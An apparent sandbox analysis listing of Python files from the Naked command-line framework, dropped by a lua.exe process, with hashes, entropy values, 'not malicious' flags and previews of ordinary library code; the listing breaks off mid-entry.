SHA-256:	89F798C667156F76A8973A99373790185EAB9D3B896ADC8CDECC217FAF06E5C7
SHA-512:	FCE9F85EDCE3D17DE318F9750BC6D8D75B62A650B59894459F98F3F182ACC30ABC2465A1A03502BEF6C74CA7AB905FE3C06E7661D3001385E7463BA132E07BC2
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..#------------------------------------------------------------------------------.# Naked \| A Python command line application framework.# Copyright 2014 Christopher Simpkins.# MIT License.#------------------------------------------------------------------------------..#------------------------------------------------------------------------------------.# c.cmd = Primary command (<executable> <primary command>).# c.cmd2 = Secondary command (<executable> <primary command> <secondary command>).#.# c.option(option_string, [bool argument_required]) = test for option with optional test for positional arg to the option.# c.option_with_arg(option_string) = test for option and mandatory positional argument to option test.# c.flag(flag_string) = test for presence of a "--option=argument" style flag.#.# c.arg(arg_string) = returns the next positional argument to the arg_string argument.# c.flag_arg(flag_string) = returns the flag assignment for a "--option=a

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commandline.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18918
Entropy (8bit):	4.2262699228499425
Encrypted:	false
SSDEEP:	192:DKZPtqJjhdnFci3BASNOCqUWxG3qElORoPPPJ2F:DKZ8hnjPPPJ2F
MD5:	B7FCE2C2DCC70A30443627B81EAE989E
SHA1:	C6AA9E3F42B6C64065561E9DD7B86FF40B8D9E61
SHA-256:	389FA4B5541665E28C4DB0B5AF8E3A3349B505989DC0140C0398695EB4CC2B95
SHA-512:	AED7357893D89054FF7BDA6F8A7EE748F9EEC25692A0F190C415AA1B479F87E937ABD2327AF908E69D36BA3B353B13C3473F0D7D4DCA0BD76DA07906DD0F5EDE
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import sys.from Naked.settings import debug as DEBUG_FLAG.#####################################################################.# [ Command class ].# Command line command string object.# argv = list of command line arguments and options.# argc = count of command line arguments and options.# arg0 = first positional argument to command.# arg1 = second positional argument to command.# arglp = last positional argument to command.# cmd = primary command for command suite application (=arg0).# cmd2 = secondary command for command suite application (=arg1).# snippet for py block comment = #py + TAB.#####################################################################.class Command:. def __init__(self, app_path, argv):. self.argobj = Argument(argv) # create an Argument obj. self.optobj = Option(argv) # create an Option obj. self.app = app_path # path to application executable file. self.argv = argv

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\args.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	4681
Entropy (8bit):	4.484630605911597
Encrypted:	false
SSDEEP:	96:8jizaHYcU6CO+lr7SomcKn7Fb7nBOfBUSSqwnPqJbFcO2w:qiOHhU6CO+lPtmcK17nByBUhqwny/yw
MD5:	9957D347A71D4B48D14C7047B6605F06
SHA1:	38F29673AB53FFB03941B0E7D85D7622DFCE0132
SHA-256:	0E15BB245D85354D27B373F446B70A33F68DF0F9F9D737E02E96BB79D4BB4281
SHA-512:	4357F610F2C352D9D894B215F1C73BF3A72D8CD796BB231E1F030921C922EE7A6BE6CF23B82EDD0B4BD759C9DBCE89D15AD2C43E7C6A42A8787EEDC8BB3615F9
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..from Naked.commandline import Command.from Naked.toolshed.system import exit_success.import shlex..class Args:. def __init__(self, command_string):. self.com_string = command_string.. def run(self):. cmd_list = shlex.split(self.com_string). c = Command(cmd_list[0], cmd_list[1:]). print(' '). print(".naked. Assuming that your Command object is instantiated as an instance named 'c', the command that you entered would be parsed as follows:"). print(' '). print('Application'). print('-----------'). print('c.app = ' + c.app). print(' '). print('Argument List Length'). print('--------------------'). print('c.argc = ' + str(c.argc)). print(' '). print('Argument List Items'). print('-------------------'). print('c.argobj = ' + str(c.argobj)). print(' '). print('Arguments by Zero Indexed Start Position'). p

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\build.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	4.741724467723531
Encrypted:	false
SSDEEP:	12:Hccttc87E8i9nhtwIVQING5qwN9nQMx43KhbkUUdwlsQ2LjxB2aG:8cs8Di5AIVPNwBpmSbkUAwl2xIaG
MD5:	8110006AE22638D02181D2B07E5F7B1D
SHA1:	D1B20A8DC925297FA89AE80CBF2C4E1818EFC44D
SHA-256:	483B3977AB38682C93EB3296A49E028189EEF152B1F75D022917BE13D985852F
SHA-512:	B779D1499B24D2922A4B869FB44387A49FC0B35C96D5DCA55775A3ADC921CA55AEC333D4A2409C8B8756E6DB04FF560D805CEA0458A93DFDFAA9B1B0BBA7F730
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..from Naked.toolshed.system import exit_success.#------------------------------------------------------------------------------.# [ compile_c_code function ] (--none--).# compile C files in the lib/Naked/toolshed/c directory.#------------------------------------------------------------------------------.def compile_c_code(abs_dirpath):. from Naked.toolshed.shell import execute. from os import chdir.. chdir(abs_dirpath). print('.naked. Compiling the C source library files...'). success = execute("python setup.py build_ext --inplace"). if success:. print(' '). print('.naked. C source code compile complete.'). exit_success()..def help():. help_string = """.Naked build Command Help.========================.The build command compiles the Naked C libraries. This requires an installed C compiler...USAGE. naked build..SECONDARY COMMANDS. none..OPTIONS. none""". print(help_string). exit_success(

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\classifier.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	1875
Entropy (8bit):	4.585849878566276
Encrypted:	false
SSDEEP:	48:8HYTIzd0HJ/u9u4Hyj/cdq9Maeayo4MPM8yVyFaG:8HYIzdaJ/ujhdXaJyo4MPfyVyFX
MD5:	1D544634984FDA5D0C6CF828A4AAB91D
SHA1:	6769A171F08EBBE4D9C4FEB08F5DEF7CE67369F4
SHA-256:	358E1E38A0E1DF189225B25FBF137C0FE62A8C9AEA73CA90F5ED37BE53C07FE0
SHA-512:	690C9E1C3485FB39F94525ED9561528CA4CC6A60E069E4E4CFD99220FA951A0F37E27BD0303E1692A341D6BD81E71F0BF394B35C5666E67FCEA96AE4B03248F6
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..from Naked.toolshed.system import exit_success..class Classifier:. def __init__(self, search_string):. self.needle = search_string. self.url = 'https://pypi.python.org/pypi?%3Aaction=list_classifiers'.. def run(self):. from Naked.toolshed.network import HTTP. http = HTTP(self.url) # use the python.org url for the classifier list.. print('.naked. Pulling the classifier list from python.org...').. res = http.get() # get the list. test_list = res.split('\n') # split on newlines.. if self.needle == "": # user did not enter a search string, print the entire list. print(".naked. You did not provide a search string. Here is the entire list:"). print(' '). for item in test_list:. print(item). else: # user entered a search string, find it. lower_needle = self.needle.lower(). print(".naked. Performing a ca

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\dist.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	3287
Entropy (8bit):	4.5087841579117836
Encrypted:	false
SSDEEP:	96:8ZV3SwM+d3EP31YRJpG7IcuYBleCzBnI2OMfk5P3aXm3k3/a44X:xwM+ZEP1kIHeC45PaXm3oCpX
MD5:	84B5C9DFF465C7203E03C00426B1199B
SHA1:	7CE34C1080B129DD4CFF5028AED017AE71DE56A4
SHA-256:	A861B597D6754FCF365AF46304A22CF9441649B37D79F69990AFAA4984D3555E
SHA-512:	8FB4404192903C8D54B077FFB0B50A355BE12FB192682EC3A26F475235BBD11169E9BAD77DCF5A34996A2CB8927D7F68712AD46E03AEA1325A707469CBA611D8
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import os.from Naked.toolshed.system import file_exists, stderr, exit_success.from Naked.toolshed.shell import run as shell_run..class Dist:. def __init__(self):. self.register = "python setup.py register". self.sdist = "python setup.py sdist upload". self.wheel = "python setup.py bdist_wheel upload". self.swheel = "python setup.py sdist bdist_wheel upload". self.win = "python setup.py bdist_wininst upload". self.all = "python setup.py sdist bdist_wheel bdist_wininst upload".. #------------------------------------------------------------------------------. # [ run method ] - iterates through up to 6 directories above current working. # directory and then runs command if setup.py found. #------------------------------------------------------------------------------. def run(self, command):. setuppy_found = False. for i in range(6): # navigate up at most 4 d

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\help.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	300
Entropy (8bit):	4.564886576078938
Encrypted:	false
SSDEEP:	6:HWaHUclqRLYzTRArleyAvB7dCk1AKF3XQYcMvLiwFqrx5ch3sAjajK:HcchzTytwX1A8cd55B2aG
MD5:	2DF8FBDAC0103CF36758226CCC819B4B
SHA1:	4801ED89BF203873D5830D01E218254A3D00DCB3
SHA-256:	710CEB5B60316F85FFCD1E0912598269651C135C64D927FD56934EDF51408A60
SHA-512:	39F2F81A05458F9F07A0A5DE81B8C2C388409A6F6CEFAF21A2AD3CADACB9758DED847BDD986FF96347C423A79AB4E4A8643D9D6C44ABCE6BBA2A974B2329E3B4
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import Naked.settings.from Naked.toolshed.system import exit_success..class Help:. def __init__(self):. self.help = Naked.settings.help.. def print_help(self):. print(self.help). exit_success()...if __name__ == '__main__':. pass.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\locate.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1449
Entropy (8bit):	4.718835666484145
Encrypted:	false
SSDEEP:	24:8caAXiZ3mLja3IjYsjf6R66AVEsRiIEKTF+aG:8jQiJROp6A3ipKTgaG
MD5:	5F84E12F1192CDC634F535F18C92CE9A
SHA1:	38F3D4DD0DCEB6CA6A5DE3356957F5F395F38AE6
SHA-256:	F7067F45208D8EED6158692B5060CE4A55933E0E9C6C0E3F70A26E00A5B8B31B
SHA-512:	3C8E4250770591CD60EBFF67F581072188626A7981168E37EE36562C10AAB4085193FD80A0DEC34071C2076633D6EB535E142AF2C5E5FDBD33CC6BE84F4DE69B
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import os.from Naked.toolshed.system import stderr, exit_success..class Locator:. def __init__(self, needle):. self.needle = needle. self.location = self._display_location().. def _display_location(self):. if self.needle == 'main':. main_path = os.path.join('<PROJECT>', 'lib', '<PROJECT>', 'app.py'). print("app.py : " + main_path). exit_success(). elif self.needle == "settings":. settings_path = os.path.join('<PROJECT>', 'lib', '<PROJECT>','settings.py'). print("settings.py : " + settings_path). exit_success(). elif self.needle == "setup":. setup_path = os.path.join('<PROJECT>', 'setup.py'). print("setup.py : " + setup_path). exit_success(). else:. stderr("Unable to process the command. Use 'naked locate help' for more information.", 1)..def help():. help_string = """.Naked locate Comma

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\make.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18788
Entropy (8bit):	4.509751625669207
Encrypted:	false
SSDEEP:	384:bT53ysXBcjMB7jg+po3/h7j3+02ZD+y1FHL5jpeftx6Mn5wtBX5vNskGNbNGNu//:b027nHDMFA6r
MD5:	61362E8888DF0939BBCD64305756D106
SHA1:	C2F4D12AB25795FC7F61590ECBE13C1EFBE6714C
SHA-256:	8A46CC8F74F6E0B13105AC60778EB90C134D7A6A996FCCBA4471E72894EC4056
SHA-512:	629E9680E7E215E21999D57F152D729C2B149B7666A1E8B5550ADD68485F6FBCCC99F5E9A67FB000AB3ACF8F270843E46E437524E31EF9D1D8B964008007040C
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import Naked.toolshed.system as system.import Naked.toolshed.python as python.import Naked.toolshed.file as nfile.import Naked.toolshed.ink as ink.from Naked.toolshed.types import XDict, XString.from Naked.toolshed.system import make_dirs, make_path, exit_success.import datetime.import sys..## TODO: Check for a local settings file (appname.yaml).## TODO: make directories and files.#------------------------------------------------------------------------------.# [ MakeController class ].# Top level logic for the make command.#------------------------------------------------------------------------------.class MakeController:. def __init__(self, app_name):. self.app_name = app_name.. def run(self):. if self.app_name == None:. i = InfoCompiler(None). data_container = i.getSetupFileInfo(). else:. i = InfoCompiler(self.app_name). data_container = i.getUserInfo().. db = Di

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\profile.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	4.495863799346637
Encrypted:	false
SSDEEP:	24:8cwnAe+ni2pN/gni2w0UScQ6VvMv6ZZE7Sf7cVBU7csRGmXztBlFcRPcpO47k6wu:8/Wyw0TEoKc0pGCjYwktGjb
MD5:	170387B8F9BACB4250595CA046608E7D
SHA1:	D610FB549AC90CE62F8DE39523A89E5196F2E8AD
SHA-256:	473FEB5B076A5F2E96AD6ACF683081AEC541C2926BC110ABB271EDAA3F8B999D
SHA-512:	3F546FA9D0B6D9A3F94D0F41F86A9D82DCFFFD6710B29C0A44F7B0AFD00E47BA4D8F8C34D09E8813F5838E18C6D453A52412F1CA215F843B5DE57A42210CA4CF
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import os.from Naked.toolshed.system import file_exists, dir_exists, stderr, exit_success..class Profiler:. def __init__(self, dir_levels = 6):. self.number_of_dir_levels = dir_levels # number of directory levels to bottom to top search.. def run(self):. lib_found = False. for i in range(self.number_of_dir_levels):. if not self._is_lib_at_this_level():. os.chdir(os.pardir). else:. lib_found = True. break. if lib_found:. os.chdir('lib') # chdir to the lib directory if it is found. if file_exists('profiler.py'): # confirm that profiler.py exists. os.system('python profiler.py') # run the profiler.py file. exit_success(). else:. stderr("Unable to locate a profiler.py file in your lib directory.", 1). else:. stderr("Unable to locate your profiler.py file.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\pyh.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	4.824957031341611
Encrypted:	false
SSDEEP:	24:8c3o00lBkImEObPAWHr30H31pUHYbF3sKgA3797Mk7YL87+aG:8S70bkIzObPxb83gHYbF3V797r7laaG
MD5:	1ACC99ADCB504F27C3AE8A93D0DEC01F
SHA1:	451275BBC445400F7079CE65E6371E59C5FD1484
SHA-256:	06A7E8E75DC82B03C1D3163862FB5449DBE94887AD13DB56FA07D31B656832A6
SHA-512:	9A0B8BE502F42C29967327161301104DAFC3A00FC51193B2D236FF81AAFFE2DDE6BD35A7DEF38350464CDBC4634BC365BF0ED20A0E48B3EDFABDC1DDAD2D9B23
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import sys..def python_help(help_string):. try:. needle = help_string. if needle.startswith("'") and needle.endswith("'"):. needle = needle[1:-1]. elif needle.startswith('"') and needle.endswith('"'):. needle = needle[1:-1]. help(needle). except Exception as e:. print(e). sys.stderr.write(".naked. There was an error processing the query."). sys.exit(1)..def pyh_help():. from Naked.toolshed.system import exit_success. help_string = """.Naked pyh Command Help.======================.The pyh command searches the built-in Python documentation for a query term. The query term can be a Python built-in module, class/type, method, or function...USAGE. naked pyh <query>..SECONDARY COMMANDS. none..OPTIONS. none..EXAMPLES. Module Docs: naked pyh sys.. Class Docs: naked pyh dict.. Method Docs: naked pyh dict.update.. Function Docs: naked pyh max""".. prin

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\test.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6720
Entropy (8bit):	4.314028175800067
Encrypted:	false
SSDEEP:	96:8PM+Y8qi0NP6tG/DJ8isdIoti75GHO73i72aZ+IXsGVuIAuwpSB+G3g5hjb8jOjX:fKIV8xKogoR2FsMGpOjX
MD5:	D77064A8C38F3F7E015B1BA8D4414EA9
SHA1:	D04BC42A26C2DFFAAFCF5137C2875FED102891CC
SHA-256:	F93FDC5E66D2E41A0BEF02AE0BA5714345BCF90F9D71197AE1F559B22123EF98
SHA-512:	EA30E68470E30A1C6927FDBF2C0CC81B5162E34C874565B1B7AB2E09851BBEEF852F9D27AA34B662C01A41DB7E242E8EF49094AFA282AB04DD15D18D44C5094A
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import os.from Naked.toolshed.system import cwd, file_exists, dir_exists, stderr, exit_success..#------------------------------------------------------------------------------.# [ ToxTester class ].# Run Tox on the project directory, by default runs all python versions in tox.ini.# Optional specify the version of Python to test in constructor (runs 'tox -e py<version>').# Optional specify the number of directory levels `dir_levels` to search bottom to top (default = 4).#------------------------------------------------------------------------------.class ToxTester:. def __init__(self, py_version="", dir_levels = 6):. self.py_version = py_version. self.number_of_dir_levels = dir_levels.. def run(self):. tox_found = False. for i in range(self.number_of_dir_levels):. if not self._is_tox_ini_at_this_level():. os.chdir(os.pardir). else:. tox_found = True.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\usage.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	305
Entropy (8bit):	4.549486551401497
Encrypted:	false
SSDEEP:	6:HWaHUclqRLYzTRArleyAvek1AKF3XFkYf2lqvCRWPFqrThch3sAjajK:HcchzTytQ1A0+lPRWoB2aG
MD5:	A452B3CAD6117E8C14A0D675B2FBD915
SHA1:	54BE083D980F912C7C4CF17C32F9E7DFB37A9785
SHA-256:	012A791A474F1C477D373FEB60D7E3A2323429798732199BB3B92DB5EE8B79C6
SHA-512:	63B9889CF8F7F44A7807B3D49C409A24EF3B61158ECB5723E73A07810FA0C5306443F9C1DB29118B38D8B81EBFD22EDD3B31C8554FE3E2AE6D1B54DFFC85002C
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import Naked.settings.from Naked.toolshed.system import exit_success..class Usage:. def __init__(self):. self.usage = Naked.settings.usage.. def print_usage(self):. print(self.usage). exit_success()...if __name__ == '__main__':. pass.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\commands\version.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	789
Entropy (8bit):	4.484823643807236
Encrypted:	false
SSDEEP:	24:8cVTaxA/HoGa9E3dnHvfDt3nAfmt3nnuOaG:8OuxO5g2dnHpn0wnPaG
MD5:	20D69752CEAAB7B5254EB0036386F4CC
SHA1:	0470FF9EC34600C27D7926895F1F370B0B8E05FC
SHA-256:	9123EBAF86E585B4D24F548D5042A79C3F54ACFF545BBB3D7A1A2CFAA88CE5AB
SHA-512:	AE40B6B9627977B7569F4790DA12BBB754990ACDDC647810D42E6BCC87D6BA527458255C7F4AEF6001F25009FDB4EA9D661173DB211A655502FF67D4584DEEA2
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import Naked.settings.from Naked.toolshed.system import exit_success..class Version:. def __init__(self):. self.major_version = Naked.settings.major_version. self.minor_version = Naked.settings.minor_version. self.patch_version = Naked.settings.patch_version. self.name = Naked.settings.app_name. self.app_version_string = self.name + " " + self.major_version + "." + self.minor_version + "." + self.patch_version. self.version_string = self.major_version + "." + self.minor_version + "." + self.patch_version.. def print_version(self):. print(self.app_version_string). exit_success().. def get_version(self):. return self.version_string...if __name__ == '__main__':. pass.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\scratchpad.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	743
Entropy (8bit):	4.914970974760017
Encrypted:	false
SSDEEP:	12:Hcc969sQziz4pKLKtqRLM7rHb6cd6tzYK3dokz6yF8Iu5rje+T2aO4B7u:8cksKPpAykLMfJ61okz6yF25rjOaDS
MD5:	481A16B0ECE6FE86E8FA344CCD837070
SHA1:	E6D8DB3CAC95CC6252F620469BCF234164E27B7C
SHA-256:	349E8D610AE6CD51C31CE11A8057000AE4A9D02D858B22A11F0A596F3ED59171
SHA-512:	BD5A18FB162A47C3D0C7FB49ED4D0E221B1B535EE7DA50488CA4362ADDE01417EBE5AE3AE043BD8E07D867528E0EA19DE00E61F54C8E0A27D38FA1C8F5F78D3B
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..# import sys.# from functools import wraps.# from Naked.toolshed.types import XMaxHeap, XMinHeap..# def print_scratch(func):.# @wraps(func).# def print_wrapper(args, kwargs):.# print(func(args, **kwargs)).# return print_wrapper...# def run_scratchpad():.# # from Naked.toolshed.file import FileReader.# # from Naked.toolshed.types import XString, XUnicode..# # r = FileReader('/Users/ces/Desktop/code/naked/tests/testfiles/unicode.txt').# # test1 = r.read_utf8().# # test2 = XUnicode(test1, {'a': 'b'}).# # test3 = "Hey! It's Bengali . .,and here is some more .".# # print(unicode(test2))....# if __name__ == '__main__':.# run_scratchpad().

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\settings.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable, with very long lines
Category:	dropped
Size (bytes):	2976
Entropy (8bit):	4.218370346202258
Encrypted:	false
SSDEEP:	48:873gAo00cd2DHhYI9LcR3gNuOymxAoNLDHGE4HgYeFwCp5GDH7EcX:873gA/uFYI9LcR3gNyFoNLSE8gtFwV7b
MD5:	978F83FBEE1DCFE9AD723139392E6DD5
SHA1:	5D057D70A1F75AF8D74DDD67D909C87CA893C19E
SHA-256:	B97B83FD0A526DA38BDFB37EA7FE2993516CADBFEE429225DF0920EAE4D1F02C
SHA-512:	2D15B42CAFE74A140DA5EF4224AE4A14D79C434ABE9E0E7A4A5177506BB1C372BB0C75F914C013254F07078E232886AFCC61BF03B0DE5D0C729910EAC24A087A
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..#------------------------------------------------------------------------------.# Application Name.#------------------------------------------------------------------------------.app_name = "naked"..#------------------------------------------------------------------------------.# Version Number.#------------------------------------------------------------------------------.major_version = "0".minor_version = "1".patch_version = "31"..#------------------------------------------------------------------------------.# Debug Flag (switch to False for production release code).#------------------------------------------------------------------------------.debug = False..#------------------------------------------------------------------------------.# Usage String.#------------------------------------------------------------------------------.usage = """.Usage: naked <primary command> [secondary command] [option(s)] [argument(s)].--- Use 'naked help' fo

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\templates\app_file.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5188
Entropy (8bit):	4.263477784927043
Encrypted:	false
SSDEEP:	96:8300MEYBXCmnq7kRY+hwFrPcJEq8Wjrn/UAzWA5ogrRlrLTc:oJdP7+PJEqdXcAzWA3Tc
MD5:	6B45D6B0795F77EF641B13391FDE2F26
SHA1:	BD2117AA5D255EBBA33DE582BE1EC42478A40330
SHA-256:	03CEF8162ED305F5F63BCB8C11C62F35BA54BDCD790BEAEB15B4FD30B58E2F44
SHA-512:	B34391FB3D34CF7573B08A8E3EA95B086FC9BA188E0E0FF46FAC4D8CCC1C577C867BC7A3F89328621B90CB7ACFF3DA23DDD37D97B35D310FBB279B953178023D
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..# VARS = app_name, developer, license_name, year.app_file_string = """.#!/usr/bin/env python.# encoding: utf-8..#------------------------------------------------------------------------------.# {{app_name}}.# Copyright {{year}} {{developer}}.# {{license}}.#------------------------------------------------------------------------------..#------------------------------------------------------------------------------------.# c.cmd = Primary command ({{app_name}} <primary command>).# c.cmd2 = Secondary command ({{app_name}} <primary command> <secondary command>).#.# c.arg_to_cmd = first positional argument to the primary command.# c.arg_to_cmd2 = first positional argument to the secondary command.#.# c.option(option_string, [bool argument_required]) = test for option with optional positional argument to option test.# c.option_with_arg(option_string) = test for option and mandatory positional argument to option.# c.flag(flag_string) = test for presenc

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\templates\licenses.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6052
Entropy (8bit):	5.0453326470843605
Encrypted:	false
SSDEEP:	96:854M3HFKMOrXqJ0uJz3F3U3zxFyTuC73sugckuJQHAuLe:UR3HpOrXq0ebF3U3FKuC73sugcQHne
MD5:	2C7AABB87924755CBC176447BFD30FCF
SHA1:	97ABEB802C24C6A29928FCBD261860EE9F381243
SHA-256:	585DA616CBFCA07FF151D109318D7BA16C668E64A139A81805045D191788C711
SHA-512:	A1F7EF51284703A1331900D419F37EC1608A9F2A9450A4B2E23B082D1D29F356B420C094DB60A67BB3287DF6AFAFAEB217B1D24FF6D5D5E09CCC7678B3BD9048
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..# ALL LICENSES: VARS = year, developer..#------------------------------------------------------------------------------.# [ apache_license ].# The Apache License.#------------------------------------------------------------------------------.apache_license = """.Copyright {{year}} {{developer}}..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""..#------------------------------------------------------------------------------.# [ bsd_license ].# The BSD 2-clause license.#------

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\templates\manifest_in_file.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	109
Entropy (8bit):	4.751315954923671
Encrypted:	false
SSDEEP:	3:TKQWaHMPAtgDKCtQlqeM2/ILV3LKR6DM8QP9hMT+yf7cPPn:HWaHUclqeM+2Y6SdayPn
MD5:	4D662FCF16858675BBEA7B462FF262EB
SHA1:	6AB1C569349A22BB1B743D9417E94299F9C4EB95
SHA-256:	F45906ED91DD69D8AC13E521EEA748EBD1E7FA17C0093A3B208F0B1B6DDB1816
SHA-512:	9C5588B397CB8EB97F1D7EA7E222749B453D9B881A4BB442BB0475F4B898F389665F2B91B4C2EE53706AA170A5965A1F9ADD63C0B11ED62FC830C4B7FB63EA06
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..# VARS = --none--.manifest_file_string = "recursive-include docs *".

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\templates\profiler_file.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1530
Entropy (8bit):	3.231062056152632
Encrypted:	false
SSDEEP:	24:8clYO1acjvenwxcaV26X0SWSU4oAiSTPamGgOKaOeH:8nkOaQM0GUDAjN/af
MD5:	339B7AB8528E0699DA44AC58966C1866
SHA1:	89FCCBB9E4CE658910D9C5A0453A4A8FBB1DC7D6
SHA-256:	5D2C42E27067836EA3ECD9A698E5C7CF6C19E3BD361690069ED68D790F1618BC
SHA-512:	6B3685E00786471032BFB010F9224C5355B7C03AD16DF1478FEE3A3D76D06F45972EF8701B9382F0B9F5A58DE290665F71CD1C583944212AA3D5CC760A162E08
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..# VARS = --none--.profiler_file_string = """.#!/usr/bin/env python.# encoding: utf-8..import cProfile, pstats, StringIO..def profile():. #------------------------------------------------------------------------------. # Setup a profile. #------------------------------------------------------------------------------. pr = cProfile.Profile(). #------------------------------------------------------------------------------. # Enter setup code below. #------------------------------------------------------------------------------. # Optional: include setup code here... #------------------------------------------------------------------------------. # Start profiler. #------------------------------------------------------------------------------. pr.enable().. #------------------------------------------------------------------------------. # BEGIN profiled code block. #-----------------------------------

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\templates\pypush_file.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	586
Entropy (8bit):	4.907918060619471
Encrypted:	false
SSDEEP:	12:Hcc9MqB74sIZAkg7EzEstyhv6UZQXs6A6v5rbX4XshWA6v5+dQ3v:8cQRZAqzjU6Xsu5bIXshCgdq
MD5:	1E7442FF2EB554967C7F490150D00B46
SHA1:	6998A3E9421C3DBAB2598589932E8EA55B8E7A66
SHA-256:	4549DD8331F8CBD2E162091AD684EF541FFFC9FBD7772B0D74AEEA3B3C0E3721
SHA-512:	8266AAA2D5457DE90C763EF8281C9BC73A7CF582A29CE1963957AFC4312DD0837703F2F333FF7F2295774BC8F9F80BDC53B7DFD9B412F1256B78D0A7D113AECB
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..# VARS = year.pypush_file_string = """.#!/bin/sh.# Scriptacular - pypush.sh.# Create a Python source distribution and push it to PyPI.# Copyright {{year}} Christopher Simpkins.# MIT License...# Build and push to PyPI.python setup.py sdist upload..# Confirm that it worked.if (( $? )); then. echo "Unable to distribute your release to PyPI" >&2. exit 1.fi..python setup.py bdist_wheel upload..# Confirm that wheel distribution worked.if (( $? )); then. echo "Unable to distribute your wheel to PyPI" >&2. exit 1.fi..# Exit success.exit 0.""".

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\templates\readme_md_file.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	104
Entropy (8bit):	4.816503031321493
Encrypted:	false
SSDEEP:	3:TKQWaHMPAtgDKCtQlqeM2aNlMZLP9vVw9SH:HWaHUclqeM1eVta0H
